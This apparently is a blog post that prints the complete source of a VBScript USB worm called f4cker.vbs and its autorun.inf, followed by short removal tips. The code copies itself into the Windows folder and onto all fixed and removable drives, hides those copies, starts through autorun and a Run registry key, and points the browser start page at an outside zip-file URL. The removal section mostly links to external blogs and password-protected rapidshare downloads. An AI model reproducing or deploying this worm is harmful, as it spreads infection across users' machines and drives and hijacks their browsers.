Script autorun.inf
'My name is Keith From Webchat
on error resume next
dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd
atr = "[autorun]"&vbcrlf&"shellexecute=wscript.exe f4cker.vbs"
set fs = createobject("Scripting.FileSystemObject")
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text=mf.openastextstream(1,-2)
do while not text.atendofstream
mysource=mysource&text.readline
mysource=mysource & vbcrlf
loop
do
Set winpath = fs.getspecialfolder(0)
set tf = fs.getfile(winpath & "\f4cker.vbs")
tf.attributes = 32
set tf=fs.createtextfile(winpath & "\f4cker.vbs",2,true)
tf.write mysource
tf.close
set tf = fs.getfile(winpath & "\f4cker.vbs")
tf.attributes = 39
for each flashdrive in fs.drives
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> "A:" then
set tf=fs.getfile(flashdrive.path &"\f4cker.vbs")
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &"\f4cker.vbs",2,true)
tf.write mysource
tf.close
set tf=fs.getfile(flashdrive.path &"\f4cker.vbs")
tf.attributes =39
set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &"\autorun.inf",2,true)
tf.write atr
tf.close
set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes=39
end if
next
set rg = createobject("WScript.Shell")
rg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\f4cker",winpath&"\f4cker.vbs"
rg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page","http://sexe.athost.net/Sex.zip"
rg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title","Malaysian Hackers"
if check <> 1 then
Wscript.sleep 200000
end if
loop while check<>1
set sd = createobject("Wscript.shell")
sd.run winpath&"\explorer.exe /e,/select, "&Wscript.ScriptFullname
[autorun]
shellexecute=wscript.exe f4cker.vbs
HOW TO REMOVE f4ckER.VBS
Step 1
1. Start menu
2. Go Run (type msconfig in the box)
Read more in : http://bambangoke.blogspot.com/2007/05/remove-virus-f4ckervbs-
from-computer.html
& http://bambangoke.blogspot.com/2007/05/virus-f4ckervbs.html
Step 4.
1. Download ccleaner http://rapidshareict.blogspot.com
2. Run this on your system.
3. Restart.
If you choise download Setup + readme, your computer must connect into internet, but if your computer does'nt connect into internet you can choise portable.
Link :
Portable :Password default : booktraining.net
http://rapidshare.com/files/30989878/PortableCCleaner1.39.502.rar
Setup + readme :
http://rapidshare.com/files/30989877/Ccleaner139_readme.rar
No comments:
Post a Comment